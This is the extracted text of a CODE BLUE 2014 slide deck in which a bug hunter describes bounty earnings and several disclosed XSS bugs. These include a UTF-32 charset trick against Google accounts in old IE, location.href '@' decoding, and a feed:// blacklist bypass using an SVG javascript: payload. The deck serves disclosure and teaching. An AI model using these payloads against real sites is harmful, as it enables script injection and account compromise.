51
Bug-hunter’s Joy Masato Kinugawa

CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

Embed Size (px)

Citation preview

Page 1: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

BBuugg--hhuunntteerr’’ss JJooyy

Masato  Kinugawa  

Page 2: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

Name Masato Kinugawa Nationality Japanese(maybe)

Hobby Listening Music and XSS Profession BBuugg--hhuunntteerr

Page 3: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

FFiirrsstt BBuugg--HHuunntteerr’’ss LLiiffee aanndd BBoouunnttyy PPrrooggrraamm

SSeeccoonndd DDeelliigghhttffuull BBuuggss

TThhiirrdd TThhee rreeaassoonnss wwhhyy II bbeeccaammee BBuugg--hhuunntteerr

Page 4: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

BBuugg--hhuunntteerr’’ss LLiiffee aanndd BBoouunnttyy PPrrooggrraamm

Page 5: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

Workplace Home Working Hours Any time I want

Work Finding Security Bugs Income BBuugg BBoouunnttyy

➡Does it make enough money to live?

Page 6: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa
Page 7: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

2277113355334466 ((JJPPYY)) $$114422772233 (($$11 == 112200 JJPPYY))

Page 8: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

2277113355334466 ((JJPPYY)) $$114422772233 (($$11 == 112200 JJPPYY)) ((iinn OOccttaall ddiiggiittss))

Page 9: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

! GGooooggllee launched in 2010 ! Followed by MMaannyy CCoommppaanniieess

Page 10: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

! GGooooggllee VVulnerability RReward PProgram ! 1 bug = $100~20,000

$$113300,,880033..77 TToottaall BBoouunnttiieess

NNuummbbeerr ooff bbuuggss rreeppoorrtteedd

112277((119911 including duplicated and/or not rewarded ones)

Page 11: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa
Page 12: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

EEvveenn mmoorree mmoottiivvaatteedd bbyy tthhee iinnccrreeaasseedd bboouunnttyy rraatteess!! $  

Page 13: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

II aamm aaccttuuaallllyy nniigghhtt oowwll……

Page 14: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa
Page 15: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

! QQuuiicckk RReeppoossee since the program is launched.

! CCoonnssiiddeerr NOT ONLY seriousness, but also tthhee lleevveell ooff ““iinntteerreessttiinngg””,, ooff tthhee bbuugg..

! Require only ssiimmppllee eexxppllaannaattiioonn ttoo hhaavvee tthheemm uunnddeerrssttaanndd tthhee pprroobblleemm..

! PPrroovviiddee ffuunn to the reporters.

Page 16: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa
Page 17: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

! TThhee MMoosstt IImmppoorrttaanntt DDoommaaiinn ooff GGooooggllee ! Bounty was $$55,,000000 (Exceeds the regulated maximum

amount at that time)

Page 18: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

https://accounts.google.com/example?oe=utf-‐‑‒32  

HTTP/1.1  200  OK  Alternate-‐‑‒Protocol:  443:quic,p=0.01  Cache-‐‑‒Control:  private,  max-‐‑‒age=0  Content-‐‑‒Encoding:  gzip  Content-‐‑‒Type:  text/html;  charset=UTF-‐‑‒32  ...  

! Character Code can be set by URL ! UUTTFF--3322 was able to be set

Page 19: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

∀㸀㸀㰀㰀script㸀㸀alert(1)㰀㰀/script㸀㸀�

Page 20: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

➊➊ AArrrraayy ooff tthhee BByytteess

❷❷ CChhaarraacctteerr CCooddee ooff tthhee PPaaggee

❸❸ HHaannddlliinngg 00xx0000 CChhaarraacctteerrss

Page 21: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

00  00  22  00  00  00  3E  00  00  00  3C  00  00  00  00  73  00  00  00  63  00  00  00  72  00  00  00  69  00  00  00  70  00  00  00  74  00  00  3E  00  00  00  00  61  00  00  00  6C  00  00  00  65  00  00  00  72  00  00  00  74  00  00  00  28  00  00  00  31  00  00  00  29  00  00  3C  00  00  00  00  2F  00  00  00  73  00  00  00  63  00  00  00  72  00  00  00  69  00  00  00  70  00  00  00  74  00  00  3E  00  

∀㸀㸀㰀㰀�s  c    r�i    p    t�㸀㸀a    l�e  r    t�(  1    )�㰀㰀/    s�c  r    i�p  t  㸀㸀�

In UTF-32, 1 character requires 4 bytes

➊�

Page 22: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

IE  does  not  support  UTF-‐‑‒32    ➡Character  Code  shall  be  “recognized”  to  be  something  

00  00  22  00  00  00  3E  00  00  00  3C  00  00  00  00  73  00  00  00  63  00  00  00  72  00  00  00  69  00  00  00  70  00  00  00  74  00  00  3E  00  00  00  00  61  00  00  00  6C  00  00  00  65  00  00  00  72  00  00  00  74  00  00  00  28  00  00  00  31  00  00  00  29  00  00  3C  00  00  00  00  2F  00  00  00  73  00  00  00  63  00  00  00  72  00  00  00  69  00  00  00  70  00  00  00  74  00  00  3E  00  

∀㸀㸀㰀㰀�s  c    r�i    p    t�㸀㸀a    l�e  r    t�(  1    )�㰀㰀/    s�c  r    i�p  t  㸀㸀�

Page 23: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

This “super great” web site provides the support status of character codes, of all web browser http://l0.cm/encodings/table/

Page 24: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

IE(<=9) ignores the characters ➡the “00” are uunnddeerrssttoooodd aass nnootthhiinngg..

00  00  22  00  00  00  3E  00  00  00  3C  00  00  00  00  73  00  00  00  63  00  00  00  72  00  00  00  69  00  00  00  70  00  00  00  74  00  00  3E  00  00  00  00  61  00  00  00  6C  00  00  00  65  00  00  00  72  00  00  00  74  00  00  00  28  00  00  00  31  00  00  00  29  00  00  3C  00  00  00  00  2F  00  00  00  73  00  00  00  63  00  00  00  72  00  00  00  69  00  00  00  70  00  00  00  74  00  00  3E  00  

�  >  ��s  c    r�i    p  t�>  a  l�e  r    t�(  1    )��  /  s�c  r    i�p  t  >�

Page 25: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

Message from the web page

Page 26: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

Seek browser and plug-in bugs also ������1�������������1�������������1�������������1�������������1�������������1����1��������1��1����

������11������������1�������������1�������

������1��1����������1����1��������1���1���������1�������������11������

������11������������1����1��

������1�����1�������1�������������1�������������1����1��������1�������������1�������������1�������������1�������������1�������

Page 27: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

! 2288..77%% of total number of bugs I reported ! TThhee 8877%% ooff tthheemm aarree wwiitthh IIEE

Page 28: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

! Take longer to fix ! Even if it is fixed, it is NOT likely to applied to

the different IE version.

Something is required at the Web service level

Therefore

Page 29: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

location.href is aa mmeetthhoodd ttoo ggeett tthhee UURRLL ooff tthhee ppaaggee by JavaScript

http://example.com/

http://example.com/

location.href

Page 30: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

http://evil%[email protected]/ location.href is

http://eevviill/@example.com/ The URL part before @ is aauuttoommaattiiccaallllyy ddeeccooddeedd!! ➡IItt ggeenneerraatteess UURRLL ppooiinnttss ttoo eexxtteerrnnaall WWeebb ssiittee

Page 31: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

AAllll ccooddeess iinncclluuddee llooccaattiioonn..hhrreeff ppooiinnttiinngg ttoo sseellff--ddoommaaiinn aarree ppootteennttiiaallllyy vvuullnneerraabbllee

Added characters before “@”, then checked any web pages if it send request to the external sites

Therefore

Page 32: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

http://evil%[email protected]/  

Page 33: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

! Found ffaattaall bbuugg, at same time ! Exist in feed:// URL that represents RSS ! Can extract unrelated feed to any domain

by ccuussttoommiizziinngg the part of URL before @. ! Put the scripts in the unrelated feeds,

XSS works on the extracted domain

WWee ccaann eennffoorrccee XXSSSS oonn aannyy wweebb ssiitteess \\((^̂oo^̂))// yyeeaahh☆☆

therefore

Page 34: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

In feed:// URL, characters which can run scripts are restricted. (=Blacklist)

It is easy; jjuusstt ppaassssiinngg tthhrroouugghh tthhee bbllaacckklliisstt!

Things to do

Page 35: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

<a href="javascript:alert(1)">XSS</a>

<a>XSS</a>

FFiinndd oouutt tthhee cchhaarraacctteerrss wwhhiicchh ccaann ppaassss tthhrroouugghh bbaasseedd oonn tthhee cchhaarraacctteerr rreemmoovvaall ppaatttteerrnn

BBeeeeppiinngg!!

Page 36: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

<svg><a xmlns:xlink="http://www.w3.org/1999/xlink"xxlliinnkk::hhrreeff==""jjaavvaassccrriipptt::aalleerrtt((11))""><rect width="1000" height="1000" /></a></svg> SSiilleennccee……

Page 37: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

feed://l0.cm%2Fcb.rss%[email protected]/  

Page 38: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

feed://l0.cm%2Fcb.rss%[email protected]/  

alert('CODE  BLUE、2回⽬目開催おめでとう!\n'+  document.domain+'から')  

(Congratulation  for  the  2nd  Code  Blue)  

Page 39: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

! Web applications are in jeopardies caused by character codes, browser behaviors / bugs, and so on…

! Finding out mysteriously complicated bugs is tthhee uullttiimmaattee ddeelliigghhtt..

You want to see more? http://masatokinugawa.l0.cm/

Page 40: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa
Page 41: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

! Grow up in touch of computers.

! Love to disassemble anything

! Debut as XSS “attacker” in the 6th grade

Page 42: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

! Grow up with in touch of computers.  ➡  I  got  to  knew  what  is  binary  in  2009  ! Love to disassemble anything    ➡  Donʼ’t  love  to  do  (so  lot)  ! Debut as XSS “attacker” in the 6th grade    ➡  I  got  interested  in  security  in  2009  

Page 43: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

Decided to ddoo wwhhaatt II wwaanntt,, iinn mmyy wwaayy

���������������������

~2009 A lot happened  2010 Left computer vocational school

Page 44: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

What  I  want  to  do:  Seeking  vulnerabilities  

FFoouunndd ssoo lloott!!

Soon after, GGooooggllee llaauunncchheedd bug bounty program

Spent all waking hours to find vulnerabilities.

Page 45: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa
Page 46: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

Bug  hunting  house-‐‑‒husband?      ➡  Need  to  gain  girl  hunt  skill  also  ☺  

! Extension  of  what    I  want  to  do  ! Found  my  self  as  bug̶—hunter,  one  day  

WWiisshh ffoorr ffuuttuurree……

Page 47: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

! Must spent most of the time to repeating unsophisticated verification test

! No income unless find anything

! FFeeeelliinngg aaccccoommpplliisshhmmeenntt iiss ggrreeaatt, as what I achieved, directly become money

! NNootthhiinngg iinn tthhee wwoorrlldd ttoo ffeeeell ddeelliigghhtt like treasure hunting.

! Abnormal behaviors are mmuucchh ffuunn ttoo sseeee

However…

Page 48: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

TThhee ffiinnddiinngg sskkiillll iiss aallll wwhhaatt yyoouu nneeeedd Can concentrate on to improving skill

CCaann ddoo bbyy yyoouurrsseellff Almost no human relationship issue

CCaann ddoo aatt yyoouurr hhoommee No commuting time

CCaann wwoorrkk aatt oowwnn ppaaccee Can do when you want

Page 49: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

 “Listen music” as a hobby  “Bug-hunt” as a hobby (same as above)

““HHoobbbbyy””

Do anything you want! Then, you may find your own way.

FFoorr tthhoossee wwhhoo aarree ttrryyiinngg ttoo ffiinndd yyoouurr wwaayy......

Page 50: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

UUnnddeerrssttoooodd??!!

Page 51: CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa

Thank  You!  

@kinugawamasato  

✉   masatokinugawa  [at]  gmail.com  

Contact